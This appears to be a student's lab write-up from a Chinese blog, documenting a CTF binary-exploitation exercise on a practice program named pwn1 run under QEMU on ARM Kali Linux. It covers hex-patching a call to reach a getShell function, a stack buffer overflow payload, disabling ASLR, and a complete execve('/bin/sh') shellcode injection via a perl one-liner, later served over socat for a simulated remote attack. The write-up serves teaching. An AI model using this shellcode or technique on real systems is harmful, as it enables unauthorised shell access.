• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

twilight0966

  • 博客园
  • 联系
  • 订阅
  • 管理

公告

View Post

实验一

修改终端名

1.输入命令
截屏2025-09-19 下午10.35
2.重新打开终端

截屏2025-09-19 下午10.35

*修改终端背景和字号

1.打开 preferences
截屏2025-09-19 下午10.38
2.打开 Color scheme,选择Kali-Light
截屏2025-09-19 下午10.44
3.打开 Font,调大字号
截屏2025-09-19 下午10.39
4.改后效果
截屏2025-09-19 下午10.45

打开pwn1文件

1.在自己电脑终端中查看电脑的IP地址,打开pwn1文件所在的文件夹,输入命令
截屏2025-09-19 下午11.06
2.在kali中输入命令
截屏2025-09-19 下午10.58
3.验证文件是否传输成功
截屏2025-09-19 下午11.01

修改文件命名

1.使用mv命令
截屏2025-09-19 下午11.16

执行文件

电脑系统为ARM架构的同学可以参考下面的教程,其他同学直接./pwn1可以直接执行

1.确保文件具有执行权
2.安装32位兼容库
Kali Linux是64位系统,但pwn1是32位程序。
同时,我的系统时ARM64架构,pwn1是x86架构。
所以要启用多架构(Multi-arch)支持
(1)添加i386架构支持

sudo dpkg --add-architecture i386

(2)确认 i386 架构已经在系统架构列表中


dpkg --print-foreign-architectures

输出为i386
(3)更新软件包列表

sudo apt update

(4)查看i386软件包

apt search i386

截屏2025-09-22 上午11.17

(5)安装i686架构的GCC工具链

sudo apt install gcc-i686-linux-gnu g++-i686-linux-gnu

截屏2025-09-22 上午11.20
(6)安装必要的库文件

sudo apt install libc6-dev-i386-cross

(7)安装binfmt支持

sudo apt install binfmt-support

截屏2025-09-22 上午11.20
(8)安装QEMU

QEMU 是一个开源的可执行硬件虚拟化(Virtualization)平台。
它的核心功能是:让一种CPU架构的计算机,能够运行为另一种完全不同CPU架构编译的程序或整个操作系统。

截屏2025-09-22 上午11.21
(9)设置QEMU库路径

export QEMU_LD_PREFIX=/usr/i686-linux-gnu

截屏2025-09-22 上午11.21
(10)创建库文件链接

sudo ln -s /usr/i686-linux-gnu/lib/ld-linux.so.2 /lib/ld-linux.so.2
sudo mkdir -p /usr/i686-linux-gnu/lib

截屏2025-09-22 上午11.21

截屏2025-09-22 上午11.21
(11)检查QEMU是否安装正确

qemu-i386 --version

截屏2025-09-22 上午11.31
(12)执行文件

pwn1是一个 CTF pwn 题目,程序运行后等待用户输入,然后输出相同的内容(回声效果)。

截屏2025-09-22 下午2.07

反汇编文件

查看汇编指令

电脑系统为ARM架构的同学可以参考下面的教程,其他同学直接objdump -d pwn1可以直接查看

(1)安装 binutils 的 i386 交叉编译版本

sudo apt install binutils-i686-linux-gnu

截屏2025-09-22 下午2.59
(2)使用交叉版本的 objdump

i686-linux-gnu-objdump -d ./pwn20231301 | less

截屏2025-09-22 下午2.59

效果如下:
截屏2025-09-22 下午2.57

(3)查找getShell、foo、main三个函数

截屏2025-09-22 下午2.58

截屏2025-09-22 下午2.58

截屏2025-09-22 下午2.58

修改机器指令

(1)记录关键的地址

  • getShell地址:0x0804847d
  • call foo指令地址:0x080484b5
  • call指令的下一条指令地址(返回地址):0x080484ba

截屏2025-09-22 下午2.58

截屏2025-09-22 下午2.58

截屏2025-09-22 下午2.58

(2)计算偏移量
1.原 call foo指令的偏移量计算:
原指令为:

e8 d7 ff ff ff

这是一个相对跳转指令,偏移量计算为:

目标地址 = 下一条指令地址 + 偏移量
偏移量 = 目标地址 - 下一条指令地址

原目标地址是foo:0x08048491
下一条指令地址是:0x080484ba
所以原偏移量 = 0x08048491 - 0x080484ba = -0x29(十进制 -41)
在机器码中表示为小端序:d7 ff ff ff(即 0xffffffd7)

2.我们要跳转到 getShell:0x0804847d
新偏移量 = 0x0804847d - 0x080484ba = -0x3d(十进制 -61)
补码表示为:0xffffffc3
小端序存储为:c3 ff ff ff

(3)修改机器指令
原指令:

e8 d7 ff ff ff

修改为:

e8 c3 ff ff ff

1.备份一份文件,便于出错后能恢复

截屏2025-09-22 下午5.11
2.打开文件

vi pwn20231301test

截屏2025-09-22 下午5.14

截屏2025-09-22 下午5.11

可以看到文件内容十分混乱,所以要将显示模式切换成十六进制

:%!xxd

截屏2025-09-22 下午5.18

截屏2025-09-22 下午5.18

  1. 搜索 e8 d7 ff ff ff

在 vi 中按 / 输入:

/e8 d7 ff ff ff

截屏2025-09-22 下午5.23

4.修改 d7为 c3

e8 c3 ff ff ff

按i进入insert模式,修改后按Esc退出插入模式。
截屏2025-09-22 下午5.28

保存并退出

:%!xxd -r
:wq

截屏2025-09-22 下午5.31

(5)验证修改

i686-linux-gnu-objdump -d ./pwn20231301test | less

你应该看到:

80484b5: e8 c3 ff ff ff    call 804847d <getShell>

截屏2025-09-22 下午5.55

(6)运行测试

 ./pwn20231301test

截屏2025-09-22 下午6.00

构造输入参数,造成BOF攻击,改变程序执行流

复制一份文件

截屏2025-09-22 下午6.03

安装gdb

sudo apt install -y gdb-multiarch

截屏2025-09-22 下午6.33

构造payload

1.32字节填充 + getShell地址(小端序)
截屏2025-09-23 上午9.23

2.验证内容
截屏2025-09-23 上午9.23

3.执行攻击
截屏2025-09-23 上午9.22

成功调用getShell函数!

注入Shellcode并执行

备份文件并赋执行权限

截屏2025-09-23 上午10.22

安装execstack

尝试了直接安装,添加Debian软件源,官网下载,但是都不行。最后采取手动安装。
1.下载execstack for ARM64

wget http://archive.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_arm64.deb

截屏2025-09-23 下午6.29
2.安装

sudo dpkg -i execstack_0.0.20131005-1+b10_arm64.deb
sudo apt install -f

截屏2025-09-23 下午6.29
截屏2025-09-23 下午6.30
3.检验

execstack --version

截屏2025-09-23 下午6.30

修改设置

1.设置堆栈可执行
截屏2025-09-23 下午6.37
2.查询文件的堆栈是否可执行
截屏2025-09-23 下午6.36
3.查看地址随机化的状态
截屏2025-09-23 下午6.45
4.关闭地址随机化
截屏2025-09-23 下午6.46
5.查看地址随机化的状态
截屏2025-09-23 下午6.46

构造要注入的payload

终端1:
启动QEMU调试服务器
截屏2025-09-23 下午10.54
终端2:
1.连接GDB
截屏2025-09-23 下午10.55
2.明确架构
截屏2025-09-23 下午10.56
3.连接到 QEMU 的调试服务器
截屏2025-09-23 下午10.56
4.反编译foo函数并进行分析
截屏2025-09-23 下午10.57
5.在 ret 指令处设置断点
截屏2025-09-23 下午11.05
6.让程序继续运行
截屏2025-09-23 下午11.06
输入continue命令后,系统进入等待输入模式。这是切换回终端1并输入以下命令,终端2就会在断点断开。

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1234

截屏2025-09-23 下午11.04
7.获取地址信息

  • 查看栈指针
  • 查看栈内容
  • 计算 shellcode 地址

截屏2025-09-24 上午9.20

执行攻击

终端2:
1.生成最终shellcode

perl -e 'print "A" x 32;print "\xd0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode_final

截屏2025-09-23 下午11.24
2.验证文件内容

xxd input_shellcode_final

截屏2025-09-23 下午11.24
终端1:
运行攻击

(cat input_shellcode_final; cat) | ./pwn20231301test3

截屏2025-09-24 上午10.40

结合NC模拟远程攻击

终端1:服务端
1.安装socat

sudo apt install socat

截屏2025-09-25 上午11.17
2.启动服务

echo "启动 SOCAT 漏洞服务端口 28234"
socat TCP-LISTEN:28234,reuseaddr,fork EXEC:"qemu-i386 ./pwn20231301test3"

截屏2025-09-25 上午11.17

截屏2025-09-25 上午11.17

终端2:客户端
1.构造攻击payload
截屏2025-09-25 上午11.17
2.连接服务端并发送攻击
截屏2025-09-25 上午11.20

posted on 2025-09-23 08:26  20231301周子昂  阅读(391)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3